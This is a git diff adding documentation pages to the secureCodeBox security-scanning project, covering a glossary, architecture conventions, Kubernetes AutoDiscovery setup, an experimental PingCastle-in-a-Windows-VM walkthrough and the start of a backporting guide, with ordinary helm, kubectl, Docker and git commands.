[Kubernetes](https://kubernetes.io/docs/home/). + +_Lurker_: This _sidecar_ is a generic component responsible to "lurk" the results spit out by _scanners_ and stores it into the _storage_ for further processing by the parser. + +_Operator_: The [operator pattern][k82-operator] is a common pattern in Kubernetes to extend Kubernetes. + +_Parser_: This _job_ is a _scanner_ specific component which reads the raw stored findings from the _lurker_ and transforms them into the [well defined format](/docs/api/finding) for _secureCodeBox_ findings. Each scanner needs its own parser implementation. + +_Raw finding_: In contrast to _findings_ these are the raw results from the scanner before they were converted into the [well-defined format](/docs/api/finding) for findings. + +_SCB_: Acronym for [secureCodeBox (This Project)](https://www.secureCodeBox.io). + +_Scanner_: This is the main component to actually perform a scan. This is simply a container which encapsulates a scanner tool (e.g. nmap, nuclei etc.) and invokes it, parameterized by the _custom resource definition_ for this _scan type_. + +_Scanner tool_: These are the command line tools we integrate into _secureCodeBox_ to perform the actual scan (e.g. Nmpa, Nuclei, Nikto, ZAP etc.). + +_Scan type_: Own _custom resource definition_ for the _secureCodeBox_ _scanners_. + +_Sidecar_ : This is a [common DevOps pattern][k8s-sidecar] for Kubernetes. It is a container with one responsibility which extends a _container_. We use this pattern for the _lurker_. + +_Security Operations Center (SOC)_: A unit, team or department responsible for monitoring and handle security issues and vulnerabilities in an organisation. + +_Storage_: The component we use to store raw and parsed _findings_. + +[helm]: https://helm.sh/ +[k8s]: https://kubernetes.io/ +[k8s-custom-resources]: https://kubernetes.io/docs/concepts/extend-kubernetes/api-extension/custom-resources/ +[k82-job-doc]: https://kubernetes.io/docs/concepts/workloads/controllers/job/ +[k82-operator]: https://kubernetes.io/docs/concepts/extend-kubernetes/operator/ +[k8s-sidecar]: https://kubebyexample.com/en/learning-paths/operator-framework/kubernetes-api-fundamentals/side-car-pattern +[wiki-container]: https://en.wikipedia.org/wiki/OS-level_virtualization +[wiki-Continuous-integration]: https://en.wikipedia.org/wiki/Continuous_integration diff --git a/documentation/docs/architecture/_category_.json b/documentation/docs/architecture/_category_.json new file mode 100644 index 0000000000..ffe42308f3 --- /dev/null +++ b/documentation/docs/architecture/_category_.json @@ -0,0 +1,4 @@ +{ + "label": "Architecture", + "position": 6 +} diff --git a/documentation/docs/architecture/index.md b/documentation/docs/architecture/index.md new file mode 100644 index 0000000000..1879b60cb4 --- /dev/null +++ b/documentation/docs/architecture/index.md @@ -0,0 +1,65 @@ +--- +# SPDX-FileCopyrightText: the secureCodeBox authors +# +# SPDX-License-Identifier: Apache-2.0 + +title: "Architecture Introduction" +sidebar_label: "Introduction" +sidebar_position: 1 +--- + +This document describes the _secureCodeBox_ Project (SCB) and is based on the [arc42][arc42] architecture documentation template. _secureCodeBox_ is a [Kubernetes][k8s] based, modularized toolchain for continuous security scans of your software project. Its goal is to orchestrate and easily automate a bunch of security-testing tools out of the box. With _secureCodeBox_ we provide a toolchain for continuous security scanning of applications or infrastructures to find the low-hanging fruit issues early in the development process and free the resources of the penetration tester to concentrate on the major security issues. + +## Road Map + +As of **Feb, 2021, the highest priorities for the next 12 months** are: + +- Finalize a new Kubernetes *autodiscovery* service, which is capable of generating new secureCodeBox Scans based on existing or newly spawned Kubernetes resources. +- Finalize the deep integration with the OWASP DefectDojo Project, as a building block for security finding analytics. +- Implement a secureCodeBox UI to visualize the security scan findings as an alternative to OWASP DefectDojo and Kibana (ELK Stack). +- Integrate new Cloud-specific security scanners for AWS, GCP, Azure, DigitalOcean. + +## Conventions Used in this Documentation + +Some words about the structure, tools and style guide to follow, if you plan to contribute to this architecture documentation. This section about convention is as brief as possible 🙃 + +### Structure + +As mentioned above we use [Arc42][arc42] as template for this documentation. This means that the whole architecture documentation is structured into 12 chapters as described in the [Arc42 overview][arc42-overview]. The basic concept of arc42 is to provide a standardized structure to "put your knowledge" into. This does not necessarily mean that you must write something into each chapter. The basic idea is to fill the chapters as needed: If you have something important to say about the architecture, then fill the free space given by the template. Thus, we have some empty parts. They will disappear over time. + +:::info +We do not have the aspiration to have a complete and comprehensive architecture documentation. This documentation is meant to be a living document evolving over time. There is no restriction who can contribute to the architecture documentation: Everybody who notices wrong, outdated or missing information is invited to open pull requests. +::: + +:::caution +If you look closely, you will see that we omitted chapters from the [Arc42][arc42] template. This is intentional because it is not recommended to fill all the template, if it does not value to the documentation. E.g. we removed chapter two _architecture constraints_. That's done because we do not face any constraints driven from outside our team. All constraints are chosen by the team and therefore rather a _solution strategy_. +::: + +### Images and Diagrams + +For diagrams, we us [UML][wiki-uml] notation, if appropriate. This is a widely adopted industry standard and the most important concepts and syntax is widely understood. We try to use UML "the right" way, but we do not have the aspiration to draw perfect UML diagrams. The important part is that everyone understands the diagrams as easily as possibly. Therefore, **a diagram should always have a legend**, unless the meaning of the "boxes and arrows" is obvious. Keep in mind: What is obvious to you, may be a mystery for someone else 😉. + +As tool, we use [Draw.io][drawio] with its default color scheme and as format we use _editable PNG_. The images are stored in the directory `static/img/docs/architecture/`. + +The **only exception** to not use Draw.io is for [sequence diagrams][wiki-uml-sequence]. This type of diagram is very tedious and time-consuming to edit with mouse in a classical drawing tool. The reason is you end up in moving lifelines back and forth all the time when insert or remove something in the diagram. We use a text-based tool [PlantUML][plantuml] to generate sequence diagrams because insertion or removal of ne lifelines is simply add or remove a line of text. The PlantUML files (`*.puml`) are stored also in `static/img/docs/architecture/`. There is a make target to generate the images. Simply invoke `make` to see a help with the available targets. + +### Style Guide + +:::caution +We do not add linebreaks to split lines longer than 80 characters. **We write whole paragraphs as a single line** because all editors support soft-wrap for long lines, and it is tedious to reformat a whole paragraph on insertion/deletion of a single word. +::: + +This section describes how to markup text in this documentation: + +* _Emphasise named things_: Emphasis (usually formatted as _itallic_) is used for terms with special meaning. E.g. everything in the [glossary](/docs/architecture/glossary) is a good candidate. The rationale behind this rule is that readers easily recognize a term as something with special meaning in the context of _secureCodeBox_. For example the term _parser_ has a lot of different meaning depending on the context this term is used. In the context of _secureCodeBox_ a _parser_ has very special and narrow meaning. So, the reader sees that this word has a special meaning. +* **Strong important things**: Important things which should be recognized, even if a reader only skims over the text, should be marked up strong. +* `Use code for code`: The inline code markup should only be used for things which can be copied and pasted as-is into the described context. For example, you write about the image directory (`static/img/docs/architecture`) you can mark up it as code because you can simply copy and paste this into your terminal. Same applies if it is a command or code snippet. Do not use this to emphasize things. +* "Quote direct speech or quotes": Usually developers tend to use single or double quotes in texts to emphasise things because we are used to this from the most programing languages, but here a prime school reminder: Quotes are for quoting someone or direct speech. + +[arc42]: https://arc42.org/ +[arc42-overview]: https://arc42.org/overview/ +[k8s]: https://kubernetes.io/ +[wiki-uml]: https://en.wikipedia.org/wiki/Unified_Modeling_Language +[drawio]: https://app.diagrams.net/ +[wiki-uml-sequence]: https://en.wikipedia.org/wiki/Sequence_diagram +[plantuml]: https://plantuml.com/ diff --git a/documentation/docs/auto-discovery/_category_.json b/documentation/docs/auto-discovery/_category_.json new file mode 100644 index 0000000000..fc6b0e5443 --- /dev/null +++ b/documentation/docs/auto-discovery/_category_.json @@ -0,0 +1,4 @@ +{ + "label": "AutoDiscovery", + "position": 5 +} diff --git a/documentation/docs/auto-discovery/container-auto-discovery.md b/documentation/docs/auto-discovery/container-auto-discovery.md new file mode 100644 index 0000000000..4a53f59868 --- /dev/null +++ b/documentation/docs/auto-discovery/container-auto-discovery.md @@ -0,0 +1,36 @@ +--- +# SPDX-FileCopyrightText: the secureCodeBox authors +# +# SPDX-License-Identifier: Apache-2.0 + +title: "Container AutoDiscovery" +sidebar_label: "Container AutoDiscovery" +path: "docs/auto-discovery/container-auto-discovery" +sidebar_position: 3 +--- + +The Container AutoDiscovery will create a scheduled scan with the given parameters (see [readme](https://github.com/secureCodeBox/secureCodeBox/blob/main/auto-discovery/kubernetes/README.md) for config options) for each unique container image in a Kubernetes namespace. Currently it is only possible to scan public container images. +It is currently disabled by default and must be enabled manually. + +Assume that a namespace contains two pods that run a `nginx v1.5` container. The Container AutoDiscovery will only create a single scheduled scan for the _nginx_ containers, as both are identical. +When a third pod inside the namespace is started running a `nginx v1.6` container, the Container AutoDiscovery will create an additional scheduled scan for the `nginx v1.6` container, as it is not scanned at this point in time. The Container AutoDiscovery will look at the specific version number of each container when it determines if the container should be scanned. +When both `nginx v1.5` pods get deleted the corresponding scheduled scans will also be automatically deleted because the specific container image is no longer present in the namespace. +The scheduled scan for the `nginx v1.6` container will not be deleted, as it is still running in the namespace. + +In other words: The Container AutoDiscovery will create a single scheduled scan for each unique container image (taking the specific version number into account) in a given namespace. +If a pod consists of multiple containers, the above described logic will be applied to each container individually. + +### Setup + +[Trivy](/docs/scanners/trivy) is a container image scanner that is used by the Container AutoDiscovery. It has to be installed in the same namespace as the containers that you wish to scan. The following steps will install trivy in the `default` namespace: +```bash +helm upgrade --install trivy secureCodeBox/trivy +``` + +#### Deactivation + +The Container AutoDiscovery is enabled by default but can be disabled manually. + +```bash +helm upgrade --namespace securecodebox-system --install auto-discovery-kubernetes secureCodeBox/auto-discovery-kubernetes --set config.containerAutoDiscovery.enabled=false +``` diff --git a/documentation/docs/auto-discovery/installation.md b/documentation/docs/auto-discovery/installation.md new file mode 100644 index 0000000000..b06cb6b28e --- /dev/null +++ b/documentation/docs/auto-discovery/installation.md @@ -0,0 +1,69 @@ +--- +# SPDX-FileCopyrightText: the secureCodeBox authors +# +# SPDX-License-Identifier: Apache-2.0 + +title: "AutoDiscovery Installation & Configuration" +sidebar_label: "Installation & Configuration" +path: "docs/auto-discovery/installation" +sidebar_position: 1 +--- + +## Installation + +The secureCodeBox (SCB) AutoDiscovery is packaged as a helm chart. As the AutoDiscovery works by creating (Scheduled)Scan custom resources for the discovered resources it requires the operator to be installed first. + +```bash +helm install --namespace securecodebox-system auto-discovery-kubernetes secureCodeBox/auto-discovery-kubernetes +``` + +## Configuration + +The AutoDiscovery chart can be modified by overwriting its default values using helm. See [helm install documentation](https://helm.sh/docs/intro/using_helm/#helm-install-installing-a-package) + +The values used by the AutoDiscovery chart are documented in the [AutoDiscovery Readme](https://github.com/secureCodeBox/secureCodeBox/tree/main/auto-discovery/kubernetes#values), or if you prefer the yaml representation in the [default values](https://github.com/secureCodeBox/secureCodeBox/blob/main/auto-discovery/kubernetes/values.yaml). + +The config values in the `config` attribute, e.g. `config.serviceAutoDiscovery.enabled`, are used to modify the actual AutoDiscovery behavior. + +### Gradual AutoDiscovery Rollout + +To ease the rollout of the auto-discovery in already existing clusters the auto-discovery by default only works on namespaces specifically enabled by an annotation. This is meant to ensure that the enablement of the auto-discovery can be done in steps, e.g. one team at a time, and to ensure that the initial setup doesn't overwhelm the cluster by creating scans for every resource in it. + +This behavior can be configured using one of the following `resourceInclusion` modes: + +- enabled-per-namespace (default) : scans discovered resources in namespaces marked as enabled by an annotation +- enabled-per-resource : only scans resources marked as enabled by an annotation +- all (scans every resource in the whole cluster!) + +These modes can be set via the `config.resourceInclusion` parameter in the helm chart: + +```bash +helm upgrade --namespace securecodebox-system --install auto-discovery-kubernetes secureCodeBox/auto-discovery-kubernetes --set config.resourceInclusion.mode="enabled-per-resource" +``` + +The default mode is `enabled-per-namespace`. + +Depending on the resourceInclusionMode one has to annotate each namespace or Kubernetes resource for which the AutoDiscovery should be enabled. If `all` is used nothing has to be annotated as everything will be scanned (Which is not recommended unless you know what you're doing). These modes ease the gradual rollout to your cluster. + +To enable the AutoDiscovery for a namespace/resource one has to annotate it with `securecodebox.io/auto-discovery: "true"`: + +Annotating a namespace can be done as follows. Here the default namespace is annotated: + +```bash +kubectl annotate namespace default auto-discovery.securecodebox.io/enabled=true +``` +Annotating a individual resource is done as follows. Here the deployment `juice-shop` in the namespace `default` is annotated. + +It is done by adding the annotation to the chart values, which is then passed to the deployment template. This results into the pod containing the service/deployment always having the annotation. The process may be different in your case: + +```bash +helm upgrade --install juice-shop secureCodeBox/juice-shop --set-json='annotations={"auto-discovery.securecodebox.io/enabled":"true"}' +``` + +You should now see a ZAP-advanced [ScheduledScan](/docs/api/crds/scheduled-scan) created for juice-shop or any other service that you have annotated. + +```bash +$ kubectl get scheduledscans.execution.securecodebox.io +NAME TYPE INTERVAL FINDINGS +juice-shop-service-port-3000 zap-advanced-scan 168h0m0s 5 +``` \ No newline at end of file diff --git a/documentation/docs/auto-discovery/overview.md b/documentation/docs/auto-discovery/overview.md new file mode 100644 index 0000000000..5fc4885b37 --- /dev/null +++ b/documentation/docs/auto-discovery/overview.md @@ -0,0 +1,18 @@ +--- +# SPDX-FileCopyrightText: the secureCodeBox authors +# +# SPDX-License-Identifier: Apache-2.0 + +title: "AutoDiscovery Overview" +sidebar_label: "Overview" +path: "docs/auto-discovery/overview" +sidebar_position: 0 +--- + +# Overview + +The secureCodeBox (SCB) AutoDiscovery is an optional component that automates the process of setting up scheduled scans for Kubernetes resources inside a cluster. The AutoDiscovery will observe the scanned Kubernetes resources over their whole lifecycle. It will automatically create, update and delete scans when necessary. Currently the SCB AutoDiscovery supports two modes that can be enabled independently: + +- [Service AutoDiscovery](./service-auto-discovery): Creates scans for (http) services inside a kubernetes cluster. With it you can automatically start scanners like OWASP ZAP or nuclei for all web applications inside the cluster. + +- [Container AutoDiscovery](./container-auto-discovery): Creates scans for containers running inside a kubernetes cluster. This allows you to automatically create trivy container image scans for all container images inside a cluster. diff --git a/documentation/docs/auto-discovery/service-auto-discovery.md b/documentation/docs/auto-discovery/service-auto-discovery.md new file mode 100644 index 0000000000..ff3f02cb3a --- /dev/null +++ b/documentation/docs/auto-discovery/service-auto-discovery.md @@ -0,0 +1,33 @@ +--- +# SPDX-FileCopyrightText: the secureCodeBox authors +# +# SPDX-License-Identifier: Apache-2.0 + +title: "Service AutoDiscovery" +sidebar_label: "Service AutoDiscovery" +path: "docs/auto-discovery/service-auto-discovery" +sidebar_position: 2 +--- + +The Service AutoDiscovery will create a 'ScheduledScan` with the given parameters (see [readme](https://github.com/secureCodeBox/secureCodeBox/blob/main/auto-discovery/kubernetes/README.md) for config options) for each Kubernetes `Service` it detects. + +The Service AutoDiscovery will ignore services where the underlying pods do not serve http(s). It does this by checking for open ports `80, 443, 3000, 5000, 8000, 8443, 8080`. It is also sufficient to name the ports `http` or `https` when a different port is used than the ports specified above. +Services without a matching port number or name are currently ignored. + +By default the Service AutoDiscovery creates [ZAP Advanced](../scanners/zap-advanced.md) for each service. These scans are relatively generic and don't include any configuration regarding authentication / authorization. As the setup and configuration of the ZAP-Advanced Chart is located in each namespace it is possible to tweak the default configuration to support authenticated and more highly configured scans. For guides on how to configure ZAP Advanced refer to the [ZAP Advanced Documentation](../scanners/zap-advanced.md). + +### Setup + +By default the Service AutoDiscovery creates ScheduledScans using the [ZAP Advanced](/docs/scanners/zap-advanced) ScanType. It has to be installed in the same namespace as the containers that you wish to scan. The following steps will install zap-advanced in the `default` namespace: + +```bash +helm upgrade --install zap-advanced secureCodeBox/zap-advanced +``` + +#### Deactivation + +The Service AutoDiscovery is enabled by default but can be disabled manually. + +```bash +helm upgrade --namespace securecodebox-system --install auto-discovery-kubernetes secureCodeBox/auto-discovery-kubernetes --set config.serviceAutoDiscovery.enabled=false +``` diff --git a/documentation/docs/community-features/_category_.json b/documentation/docs/community-features/_category_.json new file mode 100644 index 0000000000..1a3109f218 --- /dev/null +++ b/documentation/docs/community-features/_category_.json @@ -0,0 +1,4 @@ +{ + "label": "Community Features", + "position": 9 +} diff --git a/documentation/docs/community-features/scanners-and-hooks.md b/documentation/docs/community-features/scanners-and-hooks.md new file mode 100644 index 0000000000..99160a75a4 --- /dev/null +++ b/documentation/docs/community-features/scanners-and-hooks.md @@ -0,0 +1,27 @@ +--- +# SPDX-FileCopyrightText: the secureCodeBox authors +# +# SPDX-License-Identifier: Apache-2.0 + +title: "Community Scanners and Hooks" +sidebar_label: Scanners and Hooks +path: "docs/community-features/scanners-and-hooks" +sidebar_position: 0 +--- + +:::note +Thanks to our community, there are even more features available for the *secureCodeBox* than in the main branch +and official releases. This site gives an overview about all community features that are currently known to us. +If you want your feature to get listed here or to have it removed, please +[contact us](mailto:securecodebox@iteratec.com). Features added to this list have been checked at least once by the core +development team to fit the general concept of the *secureCodeBox*. However, we cannot guarantee that they are +compatible with the latest release. You have to use them on your own responsibility and risk. +::: + +## Scanners + +* [Grype by RealAlphaMan](https://github.com/RealAlphaMan/grype-scantype-scb) - Added 16.05.2022 + +## Hooks + +> ✍ **Following...** diff --git a/documentation/docs/community-features/windows-scanners.md b/documentation/docs/community-features/windows-scanners.md new file mode 100644 index 0000000000..de56c667a0 --- /dev/null +++ b/documentation/docs/community-features/windows-scanners.md @@ -0,0 +1,243 @@ +--- +# SPDX-FileCopyrightText: the secureCodeBox authors +# +# SPDX-License-Identifier: Apache-2.0 + +title: "Windows Scanners" +sidebar_label: Windows Scanners +path: "docs/community-features/windows-scanners" +sidebar_position: 1 +--- + +# Integrating Windows™ Scanners into the secureCodeBox + +:::note +Because Windows is still the most famous OS available, there is a need for Windows-specific security tools. +Of course, it would be nice to integrate them with the *secureCodeBox* as well. +Our attempts are still in an experimental-like status, but we would like to share them with you and encourage you +to take one step further towards a working solution. +Please let us know if you have suggestions or even working examples, but please be aware that we cannot +guarantee to provide in-depth support on experimental topics. +::: + +## PingCastle + +PingCastle is an open-source tool to scan a company's active directory. It is able to identify potential security +risks and anomalies, regarding password settings, account privileges and much more. However, as active directory +has emerged as a tool from microsoft, PingCastle is also a tool that runs only on Windows. +You can read more about our struggle to make it work on linux in this +[blog post](https://www.securecodebox.io/blog/2021/08/09/integrating-windows-scanners). +This "tutorial" is directed towards a solution that uses a virtual machine inside an ubuntu container to run +PingCastle in this machine. Sounds like inception? It pretty much is, but it is the only solution known to date to us +that enables us to run it on a linux container. + +You can find these steps and additional template files, such as a **working parser** to convert PingCastle +healthchecks to scb findings, on a dedicated [branch](https://github.com/secureCodeBox/secureCodeBox/tree/pingcastle) +in our main repository. Feel free to use it as a starting point. + +## General architecture of the solution + +Docker <- Ubuntu <- VirtualBox <- Windows VM <- PingCastle + +That means that we run PingCastle in our Windows VM that runs in a virtualbox inside an ubuntu container. + +More specifically: +* Ubuntu 18 with systemd enabled (FROM jrei/systemd-ubuntu) +* Virtual Box (tested version: 6.1.16_Ubuntur140961, use latest version) +* Windows 10 VM + If you use it for non-commercial usages and want to test our solution, you can use a trial version (Expires in 90 days): + [Windows 10 VM Trial](https://developer.microsoft.com/de-de/windows/downloads/virtual-machines/) (Choose VirtualBox image) +* PingCastle 2.9.2.1 (latest) + +## Step-By-Step Walkthrough + +Now let's dive into the crazy inception and have our system run a linux docker with windows! +All you need is a Linux base system (preferably Ubuntu, we did not test any other linux distro!) where **Virtual Box +is installed.** + +### 1. Setting up the Windows 10 VM +In the first step we will set up our Windows VM. In order to do that you need to run it as a virtual machine in +Virtual Box. If you have downloaded the trial version mentioned above, you simply have to import it in Virtual Box +and start the VM. +Our goal is to have a Windows VM that logs in automatically on start-up, is connected to the network where the active +directory is running and is able to run a PingCastle scan. + +<details> +<summary> WindowsVM Setup </summary> + +0. Install your specific language & keyboard Settings (optional, but can be useful) + +1. Allow login without password for VirtualBox: + [Source Stackoverflow](https://stackoverflow.com/questions/35372516/vboxmanage-error-the-specified-user-was-not-able-to-logon-on-guest) + +"Run" -> "gpedit.msc". +Windows Settings -> Security Settings -> Local Policies -> Security Options -> Accounts: +Limit local account use of blank passwords to console logon only -> set it to DISABLED. + +2. Establish VPN Connection to the network where the AD is located (if not used in the network anyway) + +If the container is always running in the company's network, this step should not be necessary. +<details> +<summary>Otherwise you have to automatically connect to the VPN on startup</summary> + +Automatically connect to VPN on startup: +- Create a file "autoConnectVPN.bat" +- Add the following line to the file: + c:\windows\system32\rasdial.exe "domain" [/domain:domain.de] +- Go To: C:\Users\USER\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup +- Create shortlink to the autoConnectVPN.bat file + +**Unfortunately, we experienced that this does not always work with PingCastle. The connection was established, +but PingCastle refused to find the network. We provide a very dirty workaround that is not by any means error-prove. +It should only be used if all other possibilities failed, and you want to test if the docker container is working at all.** +``` +Dirtiest workaround: Use python to automatically click on the connection symbol: +1. Install python 3.x and pip, add python to path, then (python -m) pip install pywin32 + +2. Create a script that just clicks "manually" on the connection symbols. (Read the mouse coordinates and click them) +``` +</details> + +3. Hang VM into the domain: + + 3.1 Open Powershell.exe as Administrator(!) + + 3.2 Type in the following command: Add-Computer -DomainName domain.de -NewName PingCastleVM + + 3.3 Type in your credentials (Username is the domain shortcut, e.g. pschmidt; Password is your regular PW) + + 3.4 If you are succesfull, this message shows: + WARNING: The changes will take effect after you restart the computer (your computer name). + + 3.5 Restart VM + + 3.6 Check date&time, maybe the timezone has to be set manually to have a correct system time + +4. Download necessary tools: + + 4.1 [Download PingCastle](https://github.com/vletoux/pingcastle/releases/download/2.9.2.1/PingCastle_2.9.2.1.zip) + + 4.2 Unzip to path: *C:\PingCastle* + + 4.3 We found it most useful and the easiest way not to call PingCastle directly but via a script. + So create healthcheck.cmd in *C:\PingCastle* : +``` +cd C:\PingCastle +PingCastle.exe --healthcheck --server domain.com +``` +*cd* necessary because otherwise guestcontrol will use a wrong default path. + +Finally, check if you can successfully scan your domain via the script! + +5. Install Guest Additions for Virtual Box + +6. Set Auto-Login: + [Source: Tech-Faq](https://www.tech-faq.net/windows-10-autologin-einrichten/) + +Create file and execute: +``` +Windows Registry Editor Version 5.00 + + [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Passwordless\Device] +"DevicePasswordLessBuildVersion"=dword:00000000 +``` + +7. Disable recovery modes to avoid that the VM gets stuck upon startup. (This step is optional and can for certain + be further improved) + + 7.1 Open cmd as administrator + + 7.2 + ``` + reagentc /info + reagentc /disable + ``` + +8. Now check if you can run your VM in headless mode and execute a scan: +``` + vboxmanage startvm WinVM --type headless + vboxmanage showvminfo WinVM | grep "State" # should be "Running" + vboxmanage guestcontrol WinVM run --exe "c:\\PingCastle\\healthcheck.cmd" --username USER +``` + +9. Finally, you must export the modified appliance using VirtualBox (.ova) + +</details> + +### 2. Docker Set-Up for Ubuntu with WindowsVM +Next, we will integrate our created WindowsVM into an Ubuntu docker container. +We hereby use an already existing Ubuntu18 container that has *systemd* enabled, +which is crucial for virtual box to function. + +<details> +<summary>Docker Setup</summary> + +Dockerfile: +``` +FROM jrei/systemd-ubuntu + +# VirtualBox +RUN apt-get update \ + && apt-get -y install wget \ + && apt-get -y install gnupg2 \ + && apt-get -y install systemd \ + && apt-get -y install python3 \ + && apt-get -y install software-properties-common \ + && apt-get -y install unzip \ + && wget -q https://www.virtualbox.org/download/oracle_vbox_2016.asc -O- | apt-key add - \ + && wget -q https://www.virtualbox.org/download/oracle_vbox.asc -O- | apt-key add - \ + && add-apt-repository "deb https://download.virtualbox.org/virtualbox/debian bionic contrib" \ + && apt-get -y update \ + && apt-get -y install linux-headers-generic \ + && mkdir WindowsVM \ + && apt-get -y install virtualbox + + +# Add run pingcastle script +ADD run_pingcastle_healthcheck.py run_pingcastle_healthcheck.py +``` + +Now we have to do some manual configurations, so we must run the container. In --device, you have to provide the +path where vboxdrv on your base system is located. +``` +docker run -d --privileged \ + --name windocvm --network=host \ + --device /dev/vboxdrv:/dev/vboxdrv \ + -v /sys/fs/cgroup:/sys/fs/cgroup:ro \ + -v /tmp:/tmp -it windocvm +``` + + +Next, copy the WindowsVM to the created container: +``` +docker cp WindowsVM/WinVM.ova windocvm:WindowsVM/WinVM.ova +``` + +Change to the running container and import and start the VM: +``` + docker exec -it windocvm /bin/bash + + cd WindowsVM \ + && vboxmanage import WinVM.ova \ + && vboxmanage list vms \ + && vboxmanage startvm WinVM --type headless \ + && vboxmanage showvminfo WinVM | grep "State" +``` + +After that you can push the docker image to your own docker repository or proceed with the local image. +</details> + +### 3. Create docker container to handle the scan +From the now created docker container, we can create a new one that has all the attributes from the one above and is +able to execute our scan with a python script. This container can finally be added to the cluster and perform the +automated scans. + +<details> +<summary>Dockerfile</summary> + +``` +FROM docker.yourrepo.com/windocvm:latest + +ENTRYPOINT ["python3", "run_pingcastle_healthcheck.py"] +``` +</details> diff --git a/documentation/docs/contributing/_category_.json b/documentation/docs/contributing/_category_.json new file mode 100644 index 0000000000..c3177b8987 --- /dev/null +++ b/documentation/docs/contributing/_category_.json @@ -0,0 +1,4 @@ +{ + "label": "Contributing", + "position": 8 +} diff --git a/documentation/docs/contributing/backports.md b/documentation/docs/contributing/backports.md new file mode 100644 index 0000000000..b3c6e7fdfc --- /dev/null +++ b/documentation/docs/contributing/backports.md @@ -0,0 +1,151 @@ +--- +# SPDX-FileCopyrightText: the secureCodeBox authors +# +# SPDX-License-Identifier: Apache-2.0 + +title: "Backports" +--- + +In this section we describe how to maintain bug fixes in multiple versions of the _secureCodeBox_. + +## TL;DR + +:::caution +If you're unfamiliar with _backporting_ please read the full article! +::: + +1. Determine the version affected with the bug (e.g. 2.1.0). +2. Checkout the affected _version tag_ (e.g. `git checkout 2.1.0`). +3. Create a _release branch_ for this version, unless it already exists (e.g. `git checkout -b 2.x`) +4. Make the bugfix (e.g. commit `24d383b`). +5. Make a new tagged version in this _release branch_ (e.g. `git tag 2.1.1`). +6. Backport to maintained **older** versions: + 1. Checkout older _version tag_ (e.g. `git checkout 1.5.0`). + 2. Create a _release branch_ for this version, unless it already exists (e.g. `git checkout -b 1.x`) + 3. Cherry-pick the bugfix (e.g. `git cherry-pick 24d383b`) + 4. Push the _release branch_ upstream. + 5. Release a new patch version for this _release branch_ (e.g. 1.5.1). + 6. Repeat from 1. until you fixed all maintained **older** versions. +7. Backport to maintained **newer** versions: + 1. Checkout newer _version tag_ (e.g. `git checkout 3.2.1`). + 2. Create a _release branch_ for this version, unless it already exists (e.g. `git checkout -b 3.x`) + 3. Cherry-pick the bugfix (e.g. `git cherry-pick 24d383b`) + 4. Push the _release branch_ upstream. + 5. Release a new patch version for this _release branch_ (e.g. 3.2.2). + 6. Repeat from 1. until you fixed all maintained **newer** versions. +8. Checkout _main branch_ (e.g. `git checkout main`). +9. Cherry-pick the bugfix (e.g. `git cherry-pick 24d383b`) +10. Push the main branch upstream. + +## What is the Problem? + +We follow [Semantic Versioning][semver] in the _secureCodeBox_ source code. This means we introduce new major versions for each backward incompatible breaking change. Our first major breaking change was the introduction of [version 2.0][scb-version-2]. What if someone finds a critical bug in an older major version? For example, we are currently in version 3.x and the bug was introduced in version 2.x. A naive approach is to simply fix the bug in the current head version. But this leaves all users of older versions alone with the bug. This is why you typically want backporting of such critical bugs, because some users can't upgrade for good reasons to a new major version. + +## What is Backporting? + +In general backporting means that you not only fix a bug in the current head version, but also fix it in older maintained versions. This means that you mast port that bugfix back to this older versions (hence the name backporting). For example: We have a critical bug in version 2.x which is also present in version 3.x. In this particular example we need to fix the bug in the 2.x _release branch_ and additionally fix it in the current _main branch_. Finally, we must release two new versions: A head release (e.g. version 3.0.1) and also _release branch_ version (e.g. 2.0.1). + +### Main Branch? Release Branch? WTF? + +In simple projects with only few consumers of your software, you typically follow a so-called _main branch development_ philosophy. This means you only have one _main branch_ to maintain. In very small projects you don't even need any tagged versions. You just push to _main branch_ and the consumers use the latest _head version_. + +But if you don't want to bother customers with breaking changes you need versions. A very good approach is to use [Semantic Versioning][semver] to help tell customers, if an upgrade will break theircurrent setup. [Semantic Versioning][semver] in short is very simple: + +* Use a **three digit** version number scheme: MAJOR.MINOR.PATCH (e.g. 1.0.0). +* The **first digit** indicates major **breaking** changes: E.g. an increment from 1.0.0 to 2.0.0 tells you that it is very likely that something will break, and you must adjust your setup. +* The **second digit** indicates the introduction of **non-breaking** new features: E.g. an increment from 2.0.0 to 2.1.0 tells you that you get new features, but your setup will not break, and you need no adjustment of your setup. +* The **third digit** indicates **non-breaking** bugfixes: E.g. an increment from 2.0.0 to 2.0.1 tells you can deploy this version without thinking about anything going wrong. + +:::caution +Sometimes a bugfix require changes which will break an existing setup. If this is the case **you must increment** the _major version_, and not only the _patch version_. +::: + +To achieve this you need to introduce versions in your software project. Typically, this is done by introducing _tagged versions_. If your project is based on Git usually this is done with `git tag`. You can simply do this by hand (e.g. by invoking `git tag 1.0.0` on your _head version_), but it is highly recommended to do this automated by _release pipelines_. For a simple project this may look like this in git: + +```text +6273db7 (HEAD -> main) Adds sixth feature +732d3a1 (tag: 1.1.0) Adds fifth feature +24d383b Adds fourth feature +fd9b40f (tag: 1.0.1) Fixes bug in third feature +61486a5 Fixes bug in first feature +05cd59a (tag: 1.0.0) Adds third feature +7fdb08c Adds second feature +1114de3 Adds first feature +661378d Init +``` + +In the above example you see that there is only one _major version_ (1.x). There were some minor (feature) and patch (bugfix) versions. The latest _tagged_ version is 1.1.0. There is also one new feature untagged in the _head version_. We call this _unreleased_. If you only have one _major version_ then life is easy: You simply implement features and fix bugs and tag a new version. + +But what to do if you have a major breaking change in the "sixth feature"? Of course, you must introduce a new _major version_: + +```text +6273db7 (HEAD -> main, tag: 2.0.0) Adds sixth feature +732d3a1 (tag: 1.1.0) Adds fifth feature +24d383b Adds fourth feature +fd9b40f (tag: 1.0.1) Fixes bug in third feature +61486a5 Fixes bug in first feature +05cd59a (tag: 1.0.0) Adds third feature +7fdb08c Adds second feature +1114de3 Adds first feature +661378d Init +``` + +What to do if you have a critical bug in the "third feature"? Obviously you fix it in the main branch and do a new 2.0.1 release, right? Yes, you can do that, but this would be quite a badass move because this leaves all users of version 1.0.0, 1.0.1 and 1.1.0 behind with a critical bug. Typically, you want to deploy critical bugs as fas tas possible without fixing the whole setup due to breaking changes. Because such breaking changes may introduce lots of work or downtime, which may be unacceptable. + +The solution is to maintain so-called _release branches_ and fixing bugs in all of them. In this case we need a _release branch_ for version 1.x and fix the bug there: + +```text +d0e5033 (HEAD -> 1.x, tag: 1.1.1) Fix critical bug in third feature +732d3a1 (tag: 1.1.0) 